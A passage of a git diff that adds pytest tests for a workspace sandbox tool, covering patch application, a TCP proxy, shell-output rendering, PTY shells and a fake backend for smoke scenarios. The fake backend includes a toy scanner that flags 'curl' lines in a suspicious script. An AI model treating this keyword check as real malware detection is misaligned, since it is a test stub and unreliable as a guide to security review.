== 2 + + +def test_apply_unified_text_patch_rejects_context_mismatches() -> None: + patch = parse_unified_text_patch( + """--- a/file.txt ++++ b/file.txt +@@ -1 +1 @@ +-before ++after +""" + )[0] + + with pytest.raises(RuntimeError, match="patch context does not match"): + apply_unified_text_patch( + path="/workspace/file.txt", + patch=patch, + before_text="different\n", + ) + with pytest.raises(RuntimeError, match="patch context does not match"): + apply_unified_text_patch( + path="/workspace/file.txt", + patch=WorkspaceTextPatch( + path="/workspace/file.txt", + status="modified", + hunks=[ + WorkspacePatchHunk( + old_start=1, + old_count=1, + new_start=1, + new_count=1, + lines=[" same\n"], + ) + ], + ), + before_text="", + ) + + +def test_apply_unified_text_patch_rejects_range_prefix_delete_and_size_errors() -> None: + with pytest.raises(RuntimeError, match="out of range"): + apply_unified_text_patch( + path="/workspace/file.txt", + patch=WorkspaceTextPatch( + path="/workspace/file.txt", + status="modified", + hunks=[ + WorkspacePatchHunk( + old_start=3, + old_count=1, + new_start=3, + new_count=1, + lines=["-old\n", "+new\n"], + ) + ], + ), + before_text="old\n", + ) + + with pytest.raises(RuntimeError, match="invalid patch line prefix"): + apply_unified_text_patch( + path="/workspace/file.txt", + patch=WorkspaceTextPatch( + path="/workspace/file.txt", + status="modified", + hunks=[ + WorkspacePatchHunk( + old_start=1, + old_count=0, + new_start=1, + new_count=0, + lines=["?bad\n"], + ) + ], + ), + before_text="", + ) + + with pytest.raises(RuntimeError, match="delete patch did not remove all content"): + apply_unified_text_patch( + path="/workspace/file.txt", + patch=WorkspaceTextPatch( + path="/workspace/file.txt", + status="deleted", + hunks=[ + WorkspacePatchHunk( + old_start=1, + old_count=1, + new_start=1, + new_count=0, + lines=["-first\n"], + ) + ], + ), + before_text="first\nsecond\n", + ) + + huge_payload = "x" * (WORKSPACE_FILE_MAX_BYTES + 1) + with pytest.raises(RuntimeError, match="exceeds the maximum supported size"): + apply_unified_text_patch( + path="/workspace/file.txt", + patch=WorkspaceTextPatch( + path="/workspace/file.txt", + status="added", + hunks=[ + WorkspacePatchHunk( + old_start=0, + old_count=0, + new_start=1, + new_count=1, + lines=[f"+{huge_payload}"], + ) + ], + ), + before_text=None, + ) diff --git a/tests/test_workspace_ports.py b/tests/test_workspace_ports.py new file mode 100644 index 0000000..54a3fbe --- /dev/null +++ b/tests/test_workspace_ports.py @@ -0,0 +1,311 @@ +from __future__ import annotations + +import json +import selectors +import signal +import socket +import socketserver +import threading +from pathlib import Path +from types import SimpleNamespace +from typing import Any, cast + +import pytest + +from pyro_mcp import workspace_ports + + +def _socketpair_or_skip() -> tuple[socket.socket, socket.socket]: + try: + return socket.socketpair() + except PermissionError as exc: + pytest.skip(f"socketpair unavailable in this environment: {exc}") + + +class _EchoHandler(socketserver.BaseRequestHandler): + def handle(self) -> None: + data = self.request.recv(65536) + if data: + self.request.sendall(data) + + +def test_workspace_port_proxy_handler_rejects_invalid_server() -> None: + handler = workspace_ports._ProxyHandler.__new__(workspace_ports._ProxyHandler) # noqa: SLF001 + handler.server = cast(Any, object()) + handler.request = object() + + with pytest.raises(RuntimeError, match="proxy server is invalid"): + handler.handle() + + +def test_workspace_port_proxy_handler_ignores_upstream_connect_failure( + monkeypatch: Any, +) -> None: + handler = workspace_ports._ProxyHandler.__new__(workspace_ports._ProxyHandler) # noqa: SLF001 + server = workspace_ports._ProxyServer.__new__(workspace_ports._ProxyServer) # noqa: SLF001 + server.target_address = ("127.0.0.1", 12345) + handler.server = server + handler.request = object() + + def _raise_connect(*args: Any, **kwargs: Any) -> socket.socket: + del args, kwargs + raise OSError("boom") + + monkeypatch.setattr(socket, "create_connection", _raise_connect) + + handler.handle() + + +def test_workspace_port_proxy_forwards_tcp_traffic() -> None: + try: + upstream = socketserver.ThreadingTCPServer( + (workspace_ports.DEFAULT_PUBLISHED_PORT_HOST, 0), + _EchoHandler, + ) + except PermissionError as exc: + pytest.skip(f"TCP bind unavailable in this environment: {exc}") + upstream_thread = threading.Thread(target=upstream.serve_forever, daemon=True) + upstream_thread.start() + upstream_host = str(upstream.server_address[0]) + upstream_port = int(upstream.server_address[1]) + try: + proxy = workspace_ports._ProxyServer( # noqa: SLF001 + (workspace_ports.DEFAULT_PUBLISHED_PORT_HOST, 0), + (upstream_host, upstream_port), + ) + except PermissionError as exc: + upstream.shutdown() + upstream.server_close() + pytest.skip(f"proxy TCP bind unavailable in this environment: {exc}") + proxy_thread = threading.Thread(target=proxy.serve_forever, daemon=True) + proxy_thread.start() + try: + proxy_host = str(proxy.server_address[0]) + proxy_port = int(proxy.server_address[1]) + with socket.create_connection((proxy_host, proxy_port), timeout=5) as client: + client.sendall(b"hello") + received = client.recv(65536) + assert received == b"hello" + finally: + proxy.shutdown() + proxy.server_close() + upstream.shutdown() + upstream.server_close() + + +def test_workspace_ports_main_writes_ready_file( + tmp_path: Path, + monkeypatch: Any, +) -> None: + ready_file = tmp_path / "proxy.ready.json" + signals: list[int] = [] + + class StubProxyServer: + def __init__( + self, + server_address: tuple[str, int], + target_address: tuple[str, int], + ) -> None: + self.server_address = (server_address[0], 18080) + self.target_address = target_address + + def serve_forever(self, poll_interval: float = 0.2) -> None: + assert poll_interval == 0.2 + + def shutdown(self) -> None: + return None + + def server_close(self) -> None: + return None + + monkeypatch.setattr(workspace_ports, "_ProxyServer", StubProxyServer) + monkeypatch.setattr( + signal, + "signal", + lambda signum, handler: signals.append(signum), + ) + + result = workspace_ports.main( + [ + "--listen-host", + "127.0.0.1", + "--listen-port", + "0", + "--target-host", + "172.29.1.2", + "--target-port", + "8080", + "--ready-file", + str(ready_file), + ] + ) + + assert result == 0 + payload = json.loads(ready_file.read_text(encoding="utf-8")) + assert payload == { + "host": "127.0.0.1", + "host_port": 18080, + "protocol": "tcp", + "target_host": "172.29.1.2", + "target_port": 8080, + } + assert signals == [signal.SIGTERM, signal.SIGINT] + + +def test_workspace_ports_main_shutdown_handler_stops_server( + tmp_path: Path, + monkeypatch: Any, +) -> None: + ready_file = tmp_path / "proxy.ready.json" + shutdown_called: list[bool] = [] + handlers: dict[int, Any] = {} + + class StubProxyServer: + def __init__( + self, + server_address: tuple[str, int], + target_address: tuple[str, int], + ) -> None: + self.server_address = server_address + self.target_address = target_address + + def serve_forever(self, poll_interval: float = 0.2) -> None: + handlers[signal.SIGTERM](signal.SIGTERM, None) + assert poll_interval == 0.2 + + def shutdown(self) -> None: + shutdown_called.append(True) + + def server_close(self) -> None: + return None + + class ImmediateThread: + def __init__(self, *, target: Any, daemon: bool) -> None: + self._target = target + assert daemon is True + + def start(self) -> None: + self._target() + + monkeypatch.setattr(workspace_ports, "_ProxyServer", StubProxyServer) + monkeypatch.setattr( + signal, + "signal", + lambda signum, handler: handlers.__setitem__(signum, handler), + ) + monkeypatch.setattr(threading, "Thread", ImmediateThread) + + result = workspace_ports.main( + [ + "--listen-host", + "127.0.0.1", + "--listen-port", + "18080", + "--target-host", + "172.29.1.2", + "--target-port", + "8080", + "--ready-file", + str(ready_file), + ] + ) + + assert result == 0 + assert shutdown_called == [True] + + +def test_workspace_port_proxy_handler_handles_empty_and_invalid_selector_events( + monkeypatch: Any, +) -> None: + source, source_peer = _socketpair_or_skip() + upstream, upstream_peer = _socketpair_or_skip() + source_peer.close() + + class FakeSelector: + def __init__(self) -> None: + self._events = iter( + [ + [], + [(SimpleNamespace(fileobj=object(), data=object()), None)], + [(SimpleNamespace(fileobj=source, data=upstream), None)], + ] + ) + + def register(self, *_args: Any, **_kwargs: Any) -> None: + return None + + def select(self) -> list[tuple[SimpleNamespace, None]]: + return next(self._events) + + def close(self) -> None: + return None + + handler = workspace_ports._ProxyHandler.__new__(workspace_ports._ProxyHandler) # noqa: SLF001 + server = workspace_ports._ProxyServer.__new__(workspace_ports._ProxyServer) # noqa: SLF001 + server.target_address = ("127.0.0.1", 12345) + handler.server = server + handler.request = source + + monkeypatch.setattr(socket, "create_connection", lambda *args, **kwargs: upstream) + monkeypatch.setattr(selectors, "DefaultSelector", FakeSelector) + + try: + handler.handle() + finally: + source.close() + upstream.close() + upstream_peer.close() + + +def test_workspace_port_proxy_handler_handles_recv_and_send_errors( + monkeypatch: Any, +) -> None: + def _run_once(*, close_source: bool) -> None: + source, source_peer = _socketpair_or_skip() + upstream, upstream_peer = _socketpair_or_skip() + if not close_source: + try: + source_peer.sendall(b"hello") + except PermissionError as exc: + source.close() + source_peer.close() + upstream.close() + upstream_peer.close() + pytest.skip(f"socket send unavailable in this environment: {exc}") + + class FakeSelector: + def register(self, *_args: Any, **_kwargs: Any) -> None: + return None + + def select(self) -> list[tuple[SimpleNamespace, None]]: + if close_source: + source.close() + else: + upstream.close() + return [(SimpleNamespace(fileobj=source, data=upstream), None)] + + def close(self) -> None: + return None + + handler = workspace_ports._ProxyHandler.__new__(workspace_ports._ProxyHandler) # noqa: SLF001 + server = workspace_ports._ProxyServer.__new__(workspace_ports._ProxyServer) # noqa: SLF001 + server.target_address = ("127.0.0.1", 12345) + handler.server = server + handler.request = source + + monkeypatch.setattr(socket, "create_connection", lambda *args, **kwargs: upstream) + monkeypatch.setattr(selectors, "DefaultSelector", FakeSelector) + + try: + handler.handle() + finally: + source_peer.close() + if close_source: + upstream.close() + upstream_peer.close() + else: + source.close() + upstream_peer.close() + + _run_once(close_source=True) + _run_once(close_source=False) diff --git a/tests/test_workspace_shell_output.py b/tests/test_workspace_shell_output.py new file mode 100644 index 0000000..c11756d --- /dev/null +++ b/tests/test_workspace_shell_output.py @@ -0,0 +1,36 @@ +from __future__ import annotations + +from pyro_mcp.workspace_shell_output import render_plain_shell_output + + +def test_render_plain_shell_output_strips_ansi_osc_and_controls() -> None: + raw = "\x1b]0;title\x07\x1b[31mred\x1b[0m\t\x01done" + assert render_plain_shell_output(raw) == "red\tdone" + + +def test_render_plain_shell_output_handles_carriage_return_and_backspace() -> None: + raw = "hello\r\x1b[2Kbye\nabc\b\bZ" + assert render_plain_shell_output(raw) == "bye\naZ" + + +def test_render_plain_shell_output_preserves_trailing_newlines() -> None: + assert render_plain_shell_output("line one\n") == "line one\n" + assert render_plain_shell_output("\n") == "\n" + + +def test_render_plain_shell_output_handles_line_clear_modes_and_overwrite() -> None: + assert render_plain_shell_output("abcde\rab\x1b[1KZ") == " Zde" + assert render_plain_shell_output("hello\x1b[2Kx") == "x" + + +def test_render_plain_shell_output_handles_full_screen_clear() -> None: + assert render_plain_shell_output("one\ntwo\x1b[2Jz") == "z" + assert render_plain_shell_output("one\ntwo\x1b[3Jz") == "z" + + +def test_render_plain_shell_output_ignores_incomplete_and_non_csi_escape_sequences() -> None: + assert render_plain_shell_output("\x1b") == "" + assert render_plain_shell_output("\x1b[") == "" + assert render_plain_shell_output("\x1b]title\x1b\\ok") == "ok" + assert render_plain_shell_output("a\x1bOPb") == "ab" + assert render_plain_shell_output("a\x1bXb") == "ab" diff --git a/tests/test_workspace_shells.py b/tests/test_workspace_shells.py new file mode 100644 index 0000000..b0efcd9 --- /dev/null +++ b/tests/test_workspace_shells.py @@ -0,0 +1,223 @@ +from __future__ import annotations + +import os +import subprocess +import time +from pathlib import Path +from typing import cast + +import pytest + +from pyro_mcp.workspace_shells import ( + create_local_shell, + get_local_shell, + remove_local_shell, + shell_signal_arg_help, + shell_signal_names, +) + + +def _read_until( + workspace_id: str, + shell_id: str, + text: str, + *, + timeout_seconds: float = 5.0, +) -> dict[str, object]: + deadline = time.time() + timeout_seconds + payload = get_local_shell(workspace_id=workspace_id, shell_id=shell_id).read( + cursor=0, + max_chars=65536, + ) + while text not in str(payload["output"]) and time.time() < deadline: + time.sleep(0.05) + payload = get_local_shell(workspace_id=workspace_id, shell_id=shell_id).read( + cursor=0, + max_chars=65536, + ) + return payload + + +def test_workspace_shells_round_trip(tmp_path: Path) -> None: + session = create_local_shell( + workspace_id="workspace-1", + shell_id="shell-1", + cwd=tmp_path, + display_cwd="/workspace", + cols=120, + rows=30, + ) + try: + assert session.summary()["state"] == "running" + write = session.write("printf 'hello\\n'", append_newline=True) + assert write["input_length"] == 16 + payload = _read_until("workspace-1", "shell-1", "hello") + assert "hello" in str(payload["output"]) + assert cast(int, payload["next_cursor"]) >= cast(int, payload["cursor"]) + assert isinstance(payload["truncated"], bool) + session.write("sleep 60", append_newline=True) + signaled = session.send_signal("INT") + assert signaled["signal"] == "INT" + finally: + closed = session.close() + assert closed["closed"] is True + + +def test_workspace_shell_registry_helpers(tmp_path: Path) -> None: + session = create_local_shell( + workspace_id="workspace-2", + shell_id="shell-2", + cwd=tmp_path, + display_cwd="/workspace/subdir", + cols=80, + rows=24, + ) + assert get_local_shell(workspace_id="workspace-2", shell_id="shell-2") is session + assert shell_signal_names() == ("HUP", "INT", "TERM", "KILL") + assert "HUP" in shell_signal_arg_help() + with pytest.raises(RuntimeError, match="already exists"): + create_local_shell( + workspace_id="workspace-2", + shell_id="shell-2", + cwd=tmp_path, + display_cwd="/workspace/subdir", + cols=80, + rows=24, + ) + removed = remove_local_shell(workspace_id="workspace-2", shell_id="shell-2") + assert removed is session + assert remove_local_shell(workspace_id="workspace-2", shell_id="shell-2") is None + with pytest.raises(ValueError, match="does not exist"): + get_local_shell(workspace_id="workspace-2", shell_id="shell-2") + closed = session.close() + assert closed["closed"] is True + + +def test_workspace_shells_error_after_exit(tmp_path: Path) -> None: + session = create_local_shell( + workspace_id="workspace-3", + shell_id="shell-3", + cwd=tmp_path, + display_cwd="/workspace", + cols=120, + rows=30, + ) + session.write("exit", append_newline=True) + deadline = time.time() + 5 + while session.summary()["state"] != "stopped" and time.time() < deadline: + time.sleep(0.05) + assert session.summary()["state"] == "stopped" + with pytest.raises(RuntimeError, match="not running"): + session.write("pwd", append_newline=True) + with pytest.raises(RuntimeError, match="not running"): + session.send_signal("INT") + closed = session.close() + assert closed["closed"] is True + + +def test_workspace_shells_reject_invalid_signal(tmp_path: Path) -> None: + session = create_local_shell( + workspace_id="workspace-4", + shell_id="shell-4", + cwd=tmp_path, + display_cwd="/workspace", + cols=120, + rows=30, + ) + try: + with pytest.raises(ValueError, match="unsupported shell signal"): + session.send_signal("BOGUS") + finally: + session.close() + + +def test_workspace_shells_init_failure_closes_ptys( + tmp_path: Path, + monkeypatch: pytest.MonkeyPatch, +) -> None: + def _boom(*args: object, **kwargs: object) -> object: + raise RuntimeError("boom") + + monkeypatch.setattr(subprocess, "Popen", _boom) + with pytest.raises(RuntimeError, match="boom"): + create_local_shell( + workspace_id="workspace-5", + shell_id="shell-5", + cwd=tmp_path, + display_cwd="/workspace", + cols=120, + rows=30, + ) + + +def test_workspace_shells_write_and_signal_runtime_errors( + tmp_path: Path, + monkeypatch: pytest.MonkeyPatch, +) -> None: + real_killpg = os.killpg + session = create_local_shell( + workspace_id="workspace-6", + shell_id="shell-6", + cwd=tmp_path, + display_cwd="/workspace", + cols=120, + rows=30, + ) + try: + with session._lock: # noqa: SLF001 + session._master_fd = None # noqa: SLF001 + session._input_pipe = None # noqa: SLF001 + with pytest.raises(RuntimeError, match="transport is unavailable"): + session.write("pwd", append_newline=True) + + with session._lock: # noqa: SLF001 + master_fd, slave_fd = os.pipe() + os.close(slave_fd) + session._master_fd = master_fd # noqa: SLF001 + + def _raise_write(fd: int, data: bytes) -> int: + del fd, data + raise OSError("broken") + + monkeypatch.setattr("pyro_mcp.workspace_shells.os.write", _raise_write) + with pytest.raises(RuntimeError, match="failed to write"): + session.write("pwd", append_newline=True) + + def _raise_killpg(pid: int, signum: int) -> None: + del pid, signum + raise ProcessLookupError() + + monkeypatch.setattr("pyro_mcp.workspace_shells.os.killpg", _raise_killpg) + with pytest.raises(RuntimeError, match="not running"): + session.send_signal("INT") + monkeypatch.setattr("pyro_mcp.workspace_shells.os.killpg", real_killpg) + finally: + try: + session.close() + except Exception: + pass + + +def test_workspace_shells_refresh_process_state_updates_exit_code(tmp_path: Path) -> None: + session = create_local_shell( + workspace_id="workspace-7", + shell_id="shell-7", + cwd=tmp_path, + display_cwd="/workspace", + cols=120, + rows=30, + ) + try: + class StubProcess: + def poll(self) -> int: + return 7 + + session._process = StubProcess() # type: ignore[assignment] # noqa: SLF001 + session._refresh_process_state() # noqa: SLF001 + assert session.summary()["state"] == "stopped" + assert session.summary()["exit_code"] == 7 + finally: + try: + session.close() + except Exception: + pass diff --git a/tests/test_workspace_use_case_smokes.py b/tests/test_workspace_use_case_smokes.py new file mode 100644 index 0000000..f369587 --- /dev/null +++ b/tests/test_workspace_use_case_smokes.py @@ -0,0 +1,628 @@ +from __future__ import annotations + +import shutil +import time as time_module +from dataclasses import dataclass, field +from pathlib import Path +from typing import Any, cast + +import pytest + +import pyro_mcp.workspace_use_case_smokes as smoke_module +from pyro_mcp.workspace_use_case_smokes import ( + USE_CASE_ALL_SCENARIO, + USE_CASE_CHOICES, + USE_CASE_SCENARIOS, + WORKSPACE_USE_CASE_RECIPES, + build_arg_parser, +) + + +def _repo_root() -> Path: + return Path(__file__).resolve().parents[1] + + +@dataclass +class _FakeShell: + cwd: str = "/workspace" + buffer: str = "" + cursor: int = 0 + closed: bool = False + + +@dataclass +class _FakeWorkspace: + workspace_id: str + root: Path + baseline_root: Path + environment: str + network_policy: str + name: str | None + labels: dict[str, str] + created_at: float + last_activity_at: float + reset_count: int = 0 + snapshots: dict[str, Path] = field(default_factory=dict) + services: dict[str, dict[str, Any]] = field(default_factory=dict) + shells: dict[str, _FakeShell] = field(default_factory=dict) + + +class _FakePyro: + def __init__(self, root: Path) -> None: + self._root = root + self._workspaces: dict[str, _FakeWorkspace] = {} + self._workspace_counter = 0 + self._shell_counter = 0 + self._clock = 0.0 + self.patch_apply_count = 0 + + def _tick(self) -> float: + self._clock += 1.0 + return self._clock + + def _workspace_dir(self, workspace_id: str) -> Path: + return self._root / workspace_id + + def _resolve_workspace(self, workspace_id: str) -> _FakeWorkspace: + return self._workspaces[workspace_id] + + def _workspace_path(self, workspace: _FakeWorkspace, path: str) -> Path: + if path.startswith("/workspace/"): + relative = path.removeprefix("/workspace/") + elif path == "/workspace": + relative = "" + else: + relative = path + return workspace.root / relative + + def _copy_tree_contents(self, source: Path, destination: Path) -> None: + destination.mkdir(parents=True, exist_ok=True) + for child in source.iterdir(): + target = destination / child.name + if child.is_dir(): + shutil.copytree(child, target) + else: + shutil.copy2(child, target) + + def _reset_tree(self, destination: Path, source: Path) -> None: + if destination.exists(): + shutil.rmtree(destination) + shutil.copytree(source, destination) + + def _diff_changed(self, workspace: _FakeWorkspace) -> bool: + current_paths = { + path.relative_to(workspace.root) + for path in workspace.root.rglob("*") + if path.is_file() + } + baseline_paths = { + path.relative_to(workspace.baseline_root) + for path in workspace.baseline_root.rglob("*") + if path.is_file() + } + if current_paths != baseline_paths: + return True + for relative in current_paths: + if ( + (workspace.root / relative).read_bytes() + != (workspace.baseline_root / relative).read_bytes() + ): + return True + return False + + def create_workspace( + self, + *, + environment: str, + seed_path: Path, + name: str | None = None, + labels: dict[str, str] | None = None, + network_policy: str = "off", + ) -> dict[str, Any]: + self._workspace_counter += 1 + workspace_id = f"ws-{self._workspace_counter}" + workspace_dir = self._workspace_dir(workspace_id) + workspace_root = workspace_dir / "workspace" + baseline_root = workspace_dir / "baseline" + self._copy_tree_contents(Path(seed_path), workspace_root) + self._copy_tree_contents(Path(seed_path), baseline_root) + stamp = self._tick() + workspace = _FakeWorkspace( + workspace_id=workspace_id, + root=workspace_root, + baseline_root=baseline_root, + environment=environment, + network_policy=network_policy, + name=name, + labels=dict(labels or {}), + created_at=stamp, + last_activity_at=stamp, + ) + workspace.snapshots["baseline"] = baseline_root + self._workspaces[workspace_id] = workspace + return {"workspace_id": workspace_id} + + def delete_workspace(self, workspace_id: str) -> dict[str, Any]: + workspace = self._workspaces.pop(workspace_id) + shutil.rmtree(self._workspace_dir(workspace.workspace_id), ignore_errors=True) + return {"workspace_id": workspace_id, "deleted": True} + + def status_workspace(self, workspace_id: str) -> dict[str, Any]: + workspace = self._resolve_workspace(workspace_id) + return { + "workspace_id": workspace_id, + "network_policy": workspace.network_policy, + "name": workspace.name, + "labels": dict(workspace.labels), + "last_activity_at": workspace.last_activity_at, + } + + def update_workspace(self, workspace_id: str, *, labels: dict[str, str]) -> dict[str, Any]: + workspace = self._resolve_workspace(workspace_id) + workspace.labels.update(labels) + workspace.last_activity_at = self._tick() + return {"workspace_id": workspace_id, "labels": dict(workspace.labels)} + + def list_workspaces(self) -> dict[str, Any]: + workspaces = sorted( + self._workspaces.values(), + key=lambda item: (-item.last_activity_at, -item.created_at, item.workspace_id), + ) + return { + "count": len(workspaces), + "workspaces": [ + { + "workspace_id": workspace.workspace_id, + "name": workspace.name, + "labels": dict(workspace.labels), + "environment": workspace.environment, + "state": "started", + "created_at": workspace.created_at, + "last_activity_at": workspace.last_activity_at, + "expires_at": workspace.created_at + 3600, + "command_count": 0, + "service_count": len(workspace.services), + "running_service_count": sum( + 1 + for service in workspace.services.values() + if service["state"] == "running" + ), + } + for workspace in workspaces + ], + } + + def exec_workspace(self, workspace_id: str, *, command: str) -> dict[str, Any]: + workspace = self._resolve_workspace(workspace_id) + root = workspace.root + stdout = "" + stderr = "" + exit_code = 0 + if command == "sh validate.sh": + (root / "validation-report.txt").write_text("validation=pass\n", encoding="utf-8") + stdout = "validated\n" + elif command == "sh check.sh": + value = (root / "message.txt").read_text(encoding="utf-8").strip() + if value == "fixed": + stdout = "fixed\n" + else: + stderr = f"expected fixed got {value}\n" + exit_code = 1 + elif command == "sh -lc 'test -f .app-ready && cat service-state.txt'": + stdout = (root / "service-state.txt").read_text(encoding="utf-8") + elif "inspection-report.txt" in command: + suspicious = (root / "suspicious.sh").read_text(encoding="utf-8").splitlines() + report_lines = [ + f"{index}:curl" + for index, line in enumerate(suspicious, start=1) + if "curl" in line + ] + report_lines.append("network_policy=off") + (root / "inspection-report.txt").write_text( + "\n".join(report_lines) + "\n", + encoding="utf-8", + ) + elif command == "sh review.sh": + artifact = (root / "artifact.txt").read_text(encoding="utf-8").strip() + if artifact == "PASS": + (root / "review-report.txt").write_text("review=pass\n", encoding="utf-8") + stdout = "review passed\n" + else: + (root / "review-report.txt").write_text("review=fail\n", encoding="utf-8") + stderr = "review failed\n" + exit_code = 1 + else: + raise AssertionError(f"unexpected exec command: {command}") + workspace.last_activity_at = self._tick() + return { + "workspace_id": workspace_id, + "exit_code": exit_code, + "stdout": stdout, + "stderr": stderr, + "execution_mode": "guest_vsock", + } + + def start_service( + self, + workspace_id: str, + service_name: str, + *, + command: str, + readiness: dict[str, Any] | None = None, + ) -> dict[str, Any]: + workspace = self._resolve_workspace(workspace_id) + if command == "sh serve.sh": + (workspace.root / "service-state.txt").write_text("service=ready\n", encoding="utf-8") + (workspace.root / ".app-ready").write_text("", encoding="utf-8") + stdout = "service started\n" + else: + stdout = "" + workspace.services[service_name] = { + "state": "running", + "stdout": stdout, + "readiness": readiness, + } + workspace.last_activity_at = self._tick() + return { + "workspace_id": workspace_id, + "service_name": service_name, + "state": "running", + "command": command, + "cwd": "/workspace", + "execution_mode": "guest_vsock", + "readiness": readiness, + } + + def logs_service( + self, + workspace_id: str, + service_name: str, + *, + tail_lines: int = 200, + ) -> dict[str, Any]: + workspace = self._resolve_workspace(workspace_id) + service = workspace.services[service_name] + return { + "workspace_id": workspace_id, + "service_name": service_name, + "state": service["state"], + "stdout": service["stdout"], + "stderr": "", + "tail_lines": tail_lines, + "truncated": False, + } + + def stop_service(self, workspace_id: str, service_name: str) -> dict[str, Any]: + workspace = self._resolve_workspace(workspace_id) + workspace.services[service_name]["state"] = "stopped" + workspace.last_activity_at = self._tick() + return {"workspace_id": workspace_id, "service_name": service_name, "state": "stopped"} + + def list_workspace_files( + self, workspace_id: str, *, path: str = "/workspace", recursive: bool = False + ) -> dict[str, Any]: + workspace = self._resolve_workspace(workspace_id) + target = self._workspace_path(workspace, path) + entries: list[dict[str, Any]] = [] + iterable = target.rglob("*") if recursive else target.iterdir() + for entry in iterable: + artifact_type = "directory" if entry.is_dir() else "file" + entries.append( + { + "path": f"/workspace/{entry.relative_to(workspace.root)}", + "artifact_type": artifact_type, + "size_bytes": entry.stat().st_size if entry.is_file() else 0, + "link_target": None, + } + ) + return {"workspace_id": workspace_id, "entries": entries} + + def read_workspace_file(self, workspace_id: str, path: str) -> dict[str, Any]: + workspace = self._resolve_workspace(workspace_id) + target = self._workspace_path(workspace, path) + content = target.read_text(encoding="utf-8") + return {"workspace_id": workspace_id, "path": path, "content": content} + + def write_workspace_file(self, workspace_id: str, path: str, *, text: str) -> dict[str, Any]: + workspace = self._resolve_workspace(workspace_id) + target = self._workspace_path(workspace, path) + target.parent.mkdir(parents=True, exist_ok=True) + target.write_text(text, encoding="utf-8") + workspace.last_activity_at = self._tick() + return {"workspace_id": workspace_id, "path": path, "bytes_written": len(text.encode())} + + def apply_workspace_patch(self, workspace_id: str, *, patch: str) -> dict[str, Any]: + workspace = self._resolve_workspace(workspace_id) + target = workspace.root / "message.txt" + original = target.read_text(encoding="utf-8") + updated = original.replace("broken\n", "fixed\n") + target.write_text(updated, encoding="utf-8") + self.patch_apply_count += 1 + workspace.last_activity_at = self._tick() + return {"workspace_id": workspace_id, "changed": updated != original, "patch": patch} + + def diff_workspace(self, workspace_id: str) -> dict[str, Any]: + workspace = self._resolve_workspace(workspace_id) + return {"workspace_id": workspace_id, "changed": self._diff_changed(workspace)} + + def export_workspace( + self, + workspace_id: str, + path: str, + *, + output_path: Path, + ) -> dict[str, Any]: + workspace = self._resolve_workspace(workspace_id) + source = self._workspace_path(workspace, path) + output_path = Path(output_path) + output_path.parent.mkdir(parents=True, exist_ok=True) + if source.is_dir(): + shutil.copytree(source, output_path) + artifact_type = "directory" + else: + shutil.copy2(source, output_path) + artifact_type = "file" + return { + "workspace_id": workspace_id, + "workspace_path": path, + "output_path": str(output_path), + "artifact_type": artifact_type, + } + + def create_snapshot(self, workspace_id: str, snapshot_name: str) -> dict[str, Any]: + workspace = self._resolve_workspace(workspace_id) + snapshot_root = self._workspace_dir(workspace_id) / f"snapshot-{snapshot_name}" + self._reset_tree(snapshot_root, workspace.root) + workspace.snapshots[snapshot_name] = snapshot_root + return { + "workspace_id": workspace_id, + "snapshot": {"snapshot_name": snapshot_name, "kind": "named"}, + } + + def reset_workspace(self, workspace_id: str, *, snapshot: str = "baseline") -> dict[str, Any]: + workspace = self._resolve_workspace(workspace_id) + source = workspace.snapshots[snapshot] + self._reset_tree(workspace.root, source) + workspace.reset_count += 1 + workspace.last_activity_at = self._tick() + return { + "workspace_id": workspace_id, + "reset_count": workspace.reset_count, + "workspace_reset": {"snapshot_name": snapshot}, + } + + def summarize_workspace(self, workspace_id: str) -> dict[str, Any]: + workspace = self._resolve_workspace(workspace_id) + changed = self._diff_changed(workspace) + return { + "workspace_id": workspace_id, + "name": workspace.name, + "labels": dict(workspace.labels), + "environment": workspace.environment, + "state": "started", + "last_activity_at": workspace.last_activity_at, + "session_started_at": workspace.created_at, + "outcome": { + "command_count": 0, + "last_command": None, + "service_count": len(workspace.services), + "running_service_count": sum( + 1 + for service in workspace.services.values() + if service["state"] == "running" + ), + "export_count": 1, + "snapshot_count": max(len(workspace.snapshots) - 1, 0), + "reset_count": workspace.reset_count, + }, + "commands": {"total": 0, "recent": []}, + "edits": {"recent": []}, + "changes": { + "available": True, + "reason": None, + "changed": changed, + "summary": {"total": 1 if changed else 0}, + "entries": ( + [ + { + "path": "/workspace/artifact.txt", + "status": "modified", + "artifact_type": "file", + } + ] + if changed + else [] + ), + }, + "services": { + "current": [ + {"service_name": name, "state": service["state"]} + for name, service in sorted(workspace.services.items()) + ], + "recent": [], + }, + "artifacts": { + "exports": [ + { + "workspace_path": "review-report.txt", + "output_path": str( + self._workspace_dir(workspace_id) / "exported-review.txt" + ), + } + ] + }, + "snapshots": {"named_count": max(len(workspace.snapshots) - 1, 0), "recent": []}, + } + + def open_shell(self, workspace_id: str, **_: Any) -> dict[str, Any]: + workspace = self._resolve_workspace(workspace_id) + self._shell_counter += 1 + shell_id = f"shell-{self._shell_counter}" + workspace.shells[shell_id] = _FakeShell() + return {"workspace_id": workspace_id, "shell_id": shell_id, "state": "running"} + + def read_shell( + self, + workspace_id: str, + shell_id: str, + *, + cursor: int = 0, + plain: bool = False, + wait_for_idle_ms: int | None = None, + ) -> dict[str, Any]: + workspace = self._resolve_workspace(workspace_id) + shell = workspace.shells[shell_id] + output = shell.buffer[cursor:] + next_cursor = len(shell.buffer) + return { + "workspace_id": workspace_id, + "shell_id": shell_id, + "state": "running", + "cursor": cursor, + "next_cursor": next_cursor, + "output": output, + "plain": plain, + "wait_for_idle_ms": wait_for_idle_ms, + "truncated": False, + } + + def write_shell(self, workspace_id: str, shell_id: str, *, input: str) -> dict[str, Any]: + workspace = self._resolve_workspace(workspace_id) + shell = workspace.shells[shell_id] + if input == "cat CHECKLIST.md": + shell.buffer += (workspace.root / "CHECKLIST.md").read_text(encoding="utf-8") + workspace.last_activity_at = self._tick() + return {"workspace_id": workspace_id, "shell_id": shell_id} + + def close_shell(self, workspace_id: str, shell_id: str) -> dict[str, Any]: + workspace = self._resolve_workspace(workspace_id) + workspace.shells.pop(shell_id, None) + return {"workspace_id": workspace_id, "shell_id": shell_id, "closed": True} + + def create_server( + self, + *, + profile: str = "workspace-core", + mode: str | None = None, + project_path: Path, + ) -> Any: + assert profile == "workspace-core" + assert mode in {"repro-fix", "cold-start"} + seed_path = Path(project_path) + outer = self + + class _FakeServer: + async def call_tool( + self, + tool_name: str, + arguments: dict[str, Any], + ) -> tuple[None, dict[str, Any]]: + if tool_name != "workspace_create": + raise AssertionError(f"unexpected tool call: {tool_name}") + result = outer.create_workspace( + environment=cast(str, arguments["environment"]), + seed_path=seed_path, + name=cast(str | None, arguments.get("name")), + 